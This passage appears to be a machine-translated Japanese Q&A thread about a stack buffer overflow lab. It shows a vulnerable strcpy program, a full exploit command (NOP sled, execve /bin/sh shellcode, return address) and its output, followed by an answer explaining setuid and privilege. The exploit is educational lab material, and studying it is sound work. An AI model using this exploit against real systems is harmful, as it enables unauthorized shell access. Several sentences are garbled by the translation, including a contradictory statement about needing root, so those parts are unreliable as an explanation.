次のコードを活用しようとしています。
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
次のコマンドを使用してください
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
最初の部分はNOPで、2番目の部分は私が得たシェルコードです。このウェブサイトでなければなりませんexecve("/bin/sh")
。最後の部分は返品先住所です。私のプログラムは、すべての保護メカニズムが無効になっている32ビットシステム用にコンパイルされました。スクリプトを実行すると、次の結果が表示されます。
process 15377 is executing new program: /usr/bin/bash
bash
ルートではなく現在のユーザーとして実行することを意味します。シェルをrootとして実行するためのシェルコードはどこにありますか?これが起こらないようにするには、Linux機能を無効にする必要がありますか?
実行すると、whoami
ルートではなく現在のユーザーを取得します。これに「最初の攻撃!シェルコードバッファオーバーフロー – bin 0x0E”ビデオ同じスクリプトを使用してrootアクセス権を付与します。
ベストアンサー1
スクリプトを実行すると、新しいプログラム /usr/bin/bash を実行するプロセス 15377 が表示されます。これは、bashがrootではなく現在のユーザーとして実行されていることを意味します。
はい、これは「ユーザー」のアイデアが機能する方法です。つまり、プログラムを実行すると、現在のユーザーとして実行されます。
1つは、setuid
実行可能ファイルにファイル属性を付与して、現在のユーザーの代わりに常にファイル所有者(おそらくroot)として実行できるようにすることです。論理的な理由から、すでにルートである場合にのみ、このビットをファイルに追加できます。いいえルートになる必要はありません。たとえば、bash 実行可能ファイルのコピーに setuid ビットを割り当てることで、いつでも権限を高めることができます。
これが起こらないようにするには、Linux機能を無効にする必要がありますか?
これは特定の機能ではなく、1970年代のUNIX以降の「ユーザー」の概念を文字通り意味しています。
id
その人の出力では、グループはルートですが、有効なグループはルートではないことがわかります。したがって、脆弱なファイルはすでにsetuid / setgidビットが設定された状態で実行されています!ファイルのプロパティ()を確認すると、どのビットが設定されているかをls -l /…/stack-five
確認できます。s
したがって、どのプロセスの権限も昇格できません。最初から存在していましたが、今はプロセスを悪用してそれを悪用することができます。